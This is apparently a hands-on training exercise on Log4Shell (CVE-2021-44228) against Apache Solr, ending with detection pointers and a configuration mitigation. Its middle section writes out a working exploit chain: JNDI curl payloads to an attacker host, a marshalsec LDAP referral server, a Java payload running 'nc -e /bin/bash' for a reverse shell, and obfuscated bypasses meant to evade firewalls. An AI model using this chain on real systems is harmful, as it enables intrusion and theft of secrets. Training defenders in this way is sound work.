The Log4j vulnerability, also known as "Log4Shell" or "CVE-2021-44228," is a critical security flaw in the Apache Log4j library. Log4j is a widely used Java-based logging framework that allows developers to log messages from applications to various destinations, such as files, databases, and console outputs.

The vulnerability was discovered in December 2021 and has gained significant attention due to its severity and potential for exploitation. It affects Log4j versions 2.x, and in some cases, even previous versions. The Log4j vulnerability is a Remote Code Execution (RCE) vulnerability, meaning that an attacker can execute arbitrary code on a targeted system by exploiting the flaw. The vulnerability is caused by a design flaw in the Log4j library related to the processing of log messages that contain specially crafted data.

The exploitation of the vulnerability relies on the ability to inject malicious code into the log message. This can be achieved through various vectors, such as user-controlled input fields, HTTP request headers, or other user-provided data that is passed to the log statement.

When a vulnerable application processes a log message containing the specially crafted data, Log4j interprets the data as a Java Naming and Directory Interface (JNDI) lookup. By exploiting this behavior, an attacker can craft a payload that triggers a JNDI lookup to a malicious server controlled by the attacker. This server can then respond with a payload that is executed on the targeted system, allowing the attacker to achieve remote code execution.

The impact of the Log4j vulnerability is severe because Log4j is widely used across various Java-based applications, including web servers, applications, and cloud services. The vulnerability allows attackers to gain unauthorized access to affected systems, potentially leading to data breaches, system compromise, and further exploitation of the compromised environment.

Today, log4j version 2.16.0 is available and patches this vulnerability (JNDI is fully disabled, support for Message Lookups is removed, and the new DoS vulnerability CVE-2021-45046 is not present). (

However, the sheer danger of this vulnerability is due to how ubiquitous the logging package is. Millions of applications as well as software providers use this package as a dependency in their own code. While you may be able to patch your own codebase using log4j, other vendors and manufacturers will still need to push their own security updates downstream. Many security researchers have likened this vulnerability to that of Shellshock by the nature of its enormous attack surface. We will see this vulnerability for years to come.

For a growing community-supported list of software and services vulnerable to CVE-2021-44228, check out this GitHub repository (

While there are a number of other articles, blogs, resources and learning material surrounding CVE-2021-44228, I (the author of this exercise) am particularly partial to these: 

The log4j package adds extra logic to logs by "parsing" entries, ultimately to enrich the data -- but may additionally take actions and even evaluate code based off the entry data. This is the gist of CVE-2021-44228. Other syntax might be in fact executed just as it is entered into log files. Some examples of this syntax are:
- ${}
- ${}
- ${log4j:configParentLocation}
- ${java:version}

You may already know the general payload to abuse this log4j vulnerability. The format of the usual syntax that takes advantage of this looks like so:

This syntax indicates that the log4j will invoke functionality from "JNDI", or the "Java Naming and Directory Interface." Ultimately, this can be used to access external resources, or "references," which is what is weaponized in this attack. 

Notice the "ldap://" schema. This indicates that the target will reach out to an endpoint (an attacker controlled location, in the case of this attack) via the LDAP protocol. For the sake of brevity, we will not need to cover all the ins-and-outs and details of LDAP here, but know that this is something we will need to work with as we refine our attack. For now, know that the target will in fact make a connection to an external location. This is indicated by the ATTACKERCONTROLLEDHOST placeholder in the above syntax. You, acting as the attacker in this scenario, can host a simple listener to view this connection.

The next question is, where could we enter this syntax?
Anywhere that has data logged by the application.

This is the crux of this vulnerability. Unfortunately, it is very hard to determine where the attack surface is for different applications, and ergo, what applications are in fact vulnerable. Simply seeing the presence of log4j files doesn't clue in on the exact version number, or even where or how the application might use the package.

Other locations you might supply this JNDI syntax:
- Input boxes, user and password login forms, data entry points within applications
- HTTP headers such as User-Agent, X-Forwarded-For, or other customizable headers
- Any place for user-supplied data

If you would like more information on this JNDI attack vector, please review this Black Hat USA presentation from 2016.

- To prepare your environment for testing the vulnerability and receiving a connection, view your own attacking machine IP address with the following command: 
user@host$ ip addr show
- Prepare a netcat listener on any port of your choosing (9999 is a fine example):
user@host$ nc -lnvp 9999
- Now that you have a listener staged, make a request including this primitive JNDI payload syntax as part of the HTTP parameters. This can easily be done with the curl command line utility.
user@host$ curl 'h<target_url>/solr/<endpoint>?foo=$\{jndi:ldap://YOUR.ATTACKER.IP.ADDRESS:9999\}'
Note, due to the use of the $ dollar-sign character in your syntax, you must ensure you wrap the URL within single-quotes so bash (your command-line shell) does not interpret it as a variable. Additionally, you must escape out the { } curly braces with a single backslash character, so those are not misrepresented in the curl command arguments.
- Verify you have received a connection by seeing the following message in your netcat listener:
Connection received from <x.x.x.x>

At this point, you have verified the target is in fact vulnerable by seeing this connection caught in your netcat listener. However, it made an LDAP request... so all your netcat listener may have seen was non-printable characters (strange looking bytes). We can now build upon this foundation to respond with a real LDAP handler.

We will utilize a open-source and public utility to stage an "LDAP Referral Server". This will be used to essentially redirect the initial request of the victim to another location, where you can host a secondary payload that will ultimately run code on the target. This breaks down like so:
- ${jndi:ldap://attackerserver:1389/Resource} -> reaches out to our LDAP Referral Server
- LDAP Referral Server springboards the request to a secondary http://attackerserver/resource
- The victim retrieves and executes the code present in http://attackerserver/resource

This means we will need an HTTP server, which we could simply host with any of the following options (serving on port 8000):
- python3 -m http.server
- php -S
(or any other busybox httpd or formal web service you might like)

The first order of business however is obtaining the LDAP Referral Server. We will use the marshalsec utility offered at

Ultimately, this needs to run Java. Reviewing the README for this utility, it suggests using Java 8. (You may or may not have success using a different version, but to "play by the rules," we will match the same version of Java used on the target  machine).

See steps to installing Java 8 locally:
- If you are not running 1.8.0_181 within your attacking machine, you can review the "update-alternatives --set" steps below to switch to this Java 8 version. You can find a mirror of different Java versions to run on Linux at this location.

Run the following commands to configure your system to use this Java version by default (adjust the download filesystem path as appropriate):
sudo mkdir /usr/lib/jvm 
cd /usr/lib/jvm
sudo tar xzvf ~/Downloads/jdk-8u181-linux-x64.tar.gz    # modify the version as needed
sudo update-alternatives --install "/usr/bin/java" "java" "/usr/lib/jvm/jdk1.8.0_181/bin/java" 1
sudo update-alternatives --install "/usr/bin/javac" "javac" "/usr/lib/jvm/jdk1.8.0_181/bin/javac" 1
sudo update-alternatives --install "/usr/bin/javaws" "javaws" "/usr/lib/jvm/jdk1.8.0_181/bin/javaws" 1
sudo update-alternatives --set java /usr/lib/jvm/jdk1.8.0_181/bin/java
sudo update-alternatives --set javac /usr/lib/jvm/jdk1.8.0_181/bin/javac
sudo update-alternatives --set javaws /usr/lib/jvm/jdk1.8.0_181/bin/javaws

After you have downloaded, extracted, and set the appropriate filesystem settings (the update-alternatives syntax) above, you should be able to run "java -version" and verify you are in fact now running Java 1.8.0_181.

Clone ( and change directories into this new folder "marshalsec".

We must build marshalsec with the Java builder maven. If you do not yet have maven on your system, you can install it through your package manager: 
sudo apt install maven

Next, run the command to build the marshalsec utility:
mvn clean package -DskipTests

With the marshalsec utility built, we can start an LDAP referral server to direct connections to our secondary HTTP server (which we will prepare in just a moment). You are more than welcome to dig into the usage, parameters and other settings that can be configured with this tool -- but for the sake of demonstration, the syntax to start the LDAP server is as follows: 
user@host:~/marshalsec$ java -cp target/marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://YOUR.ATTACKER.IP.ADDRESS:8000/#Exploit" # Adjust the IP address for your attacking machine as needed. Note that we will supplied the HTTP port listening on 8000.

Now that our LDAP server is ready and waiting, we can open a second terminal window to prepare and our final payload and secondary HTTP server.

Ultimately, the log4j vulnerability will execute arbitrary code that you craft within the Java programming language. If you aren't familiar with Java, don't fret -- we will use simple syntax that simply "shells out" to running a system command. In fact, we will retrieve a reverse-shell connection so we can gain control over the target machine! Create and move into a new directory where you might host this payload. First, create your payload in a text editor of your choice (mousepad, nano, vim, Sublime Text, VS Code, whatever), with the specific name "" (provided in this repository). Modify your attacker IP address and port number as appropriate.

For this payload, you can see we will execute a command on the target, specifically nc -e /bin/bash to call back to our our attacker machine, though you are more than welcome to experiment with other payloads.

Compile your payload with "javac" and verify it succeeded by running the "ls" command and finding a newly created "Exploit.class". With your payload created and compiled, you can now host it by spinning up a temporary HTTP server.
user@host:~/ python3 -m http.server

Your payload is created and compiled, it is hosted with an HTTP server in one terminal, your LDAP referral server is up and waiting in another terminal -- next prepare a netcat listener to catch your reverse shell in yet another new terminal window:     
user@host$ nc -lnvp 9999

Finally, all that is left to do is trigger the exploit and fire off our JNDI syntax! Note the changes in port number (now referring to our LDAP server) and the resource we retrieve, specifying our exploit (Modify your attacker IP address as appropriate):
user@host$ curl '$\{jndi:ldap://YOUR.ATTACKER.IP.ADDRESS:1389/Exploit\}'

You have now received initial access and command-and-control. At this point, a threat actor can realistically do whatever they would like with the victim -- whether it be privilege escalation, exfiltration, install persistence, perform lateral movement or any other post-exploitation -- potentially dropping cryptocurrency miners, remote access trojans, beacons and implants or even deploying ransomware.

Now that you have gained a reverse shell connection on the victim machine, you can continue to take any action you might like. To better understand this log4j vulnerability, let's grant ourselves "better access" so we can explore the machine, analyze the affected logs, and even mitigate the vulnerability!

If you would like to "stabilize your shell" for easier ability in typing commands, you can use the usual upgrade trick (assuming you are running in a bash shell. If you are running within zsh, you will need to have started your netcat listener within a bash subshell... it should be easy enough to re-exploit):
- (on the reverse shell) python3 -c "import pty; pty.spawn('/bin/bash')"
- (press on your keyboard) Ctrl+Z
- (press on your keyboard) Enter
- (on your local host) stty raw -echo
- (on your local host) fg (you will not see your keystrokes -- trust yourself and hit Enter)
- (press on your keyboard) Enter
- (press on your keyboard) Enter
- (on the reverse shell) export TERM=xterm

You now have a stable shell, where you can safely use the left-and-right arrow keys to move around your input, up-and-down arrow keys to revisit command history, Tab for autocomplete and safely Ctrl+C to stop running programs!

Unfortunately, finding applications vulnerable to CVE-2021-44228 "Log4Shell" is hard. Detecting exploitation might be even harder, considering the unlimited amount of potential bypasses. 

With that said, the information security community has seen an incredible outpouring of effort and support to develop tooling, script, and code to better constrain this threat. You can find an enormous amount of resources online.

Below are snippets that might help either effort:
- (local, based off hashes of log4j JAR files)
- (local, based off hashes of log4j CLASS files)
- (listing of vulnerable JAR and CLASS hashes)
- (local, hunting for vulnerable log4j packages in PowerShell)
- (local, YARA rules)

As a reminder, a massive resource is available here:

The JNDI payload that I have showcased is the standard and "typical" syntax for performing this attack. If you are a penetration tester or a red teamer, this syntax might be caught by web application firewalls (WAFs) or easily detected. If you are a blue teamer or incident responder, you should be actively hunting for and detecting that syntax.

Because this attack leverages log4j, the payload can ultimately access all of the same expansion, substitution, and templating tricks that the package makes available. This means that a threat actor could use any sort of tricks to hide, mask, or obfuscate the payload.

With that in mind, there are honestly an unlimited number of bypasses to sneak in this syntax. While we will not be diving into the details in this exercise, you are encouraged to play with them in this environment. Read them carefully to understand what tricks are being used to masquerade the original syntax.

There are numerous resources online that showcase some examples of these bypasses, with a few offered below:
- ${${env:ENV_NAME:-j}ndi${env:ENV_NAME:-:}${env:ENV_NAME:-l}dap${env:ENV_NAME:-:}//}
- ${${lower:j}ndi:${lower:l}${lower:d}a${lower:p}://}
- ${${upper:j}ndi:${upper:l}${upper:d}a${lower:p}://}
- ${${::-j}${::-n}${::-d}${::-i}:${::-l}${::-d}${::-a}${::-p}://}
- ${${env:BARFOO:-j}ndi${env:BARFOO:-:}${env:BARFOO:-l}dap${env:BARFOO:-:}//}
- ${${lower:j}${upper:n}${lower:d}${upper:i}:${lower:r}m${lower:i}}://}
- ${${::-j}ndi:rmi://}

Note the use of the rmi:// protocol in the last one. This is also another valid technique that can be used with the marshalsec utility -- feel free to experiment!

Additionally, within the log4j engine, you can expand arbitrary environment variables (if this wasn't already bad enough). Consider the damage that could be done even with remote code execution, but a simple LDAP connection and exfiltration of ${env:AWS_SECRET_ACCESS_KEY}

For other techniques, you are strongly encouraged t do your own research. There is a significant amount of information being shared in this Reddit thread:

Now that you have acted as the adversary for a little bit, please take off your hacker hat and let's mitigate the vulnerability. Review the mitigation techniques suggested on the Apache Solr website. (

One option is to manually modify the "" file with a specific syntax. Let's go down that route for the sake of showcasing this defensive tactic.

The Apache Solr website Security page explains that you can add this specific syntax to the file:

SOLR_OPTS="$SOLR_OPTS -Dlog4j2.formatMsgNoLookups=true"

Modify the file with a text editor of your choice. You will need a sudo prefix to borrow root privileges if you are not already root. Scroll to the bottom of the file, and add a new line with the above syntax. Save and close the file.

Now that the configuration file has been modified, the service still needs to be restarted for the changed to take effect.
user@host$ sudo /etc/init.d/solr restart

To validate that the patch has taken place, start another netcat listener as you had before, and spin up your temporary LDAP referral server and HTTP server (again in separate terminals). You will want to recreate the same setup to re-exploit the machine. 

You should see that no request is made to your temporary LDAP server, consequently no request is made to your HTTP server, and... no reverse shell is sent back to your netcat listener!

At the time of creating this exercise, Apache Solr 8.11.1 has not yet been released with a formal patch for CVE-2021-44228. Alongside many other software providers, the industry is frantically scrambling to patch their software and push it downstream to end users as quickly as they can.

Where appropriate, please ensure you patch the logging-log4j package to version 2.16.0 or higher (as new releases come available). In version 2.16.0 , JNDI is fully disabled, support for Message Lookups is removed, and the new DoS vulnerability CVE-2021-45046 is not present. Download this release here:

If you're responsible for identifying vulnerable services that use log4j, there is a list of a few majorly affected services/products here (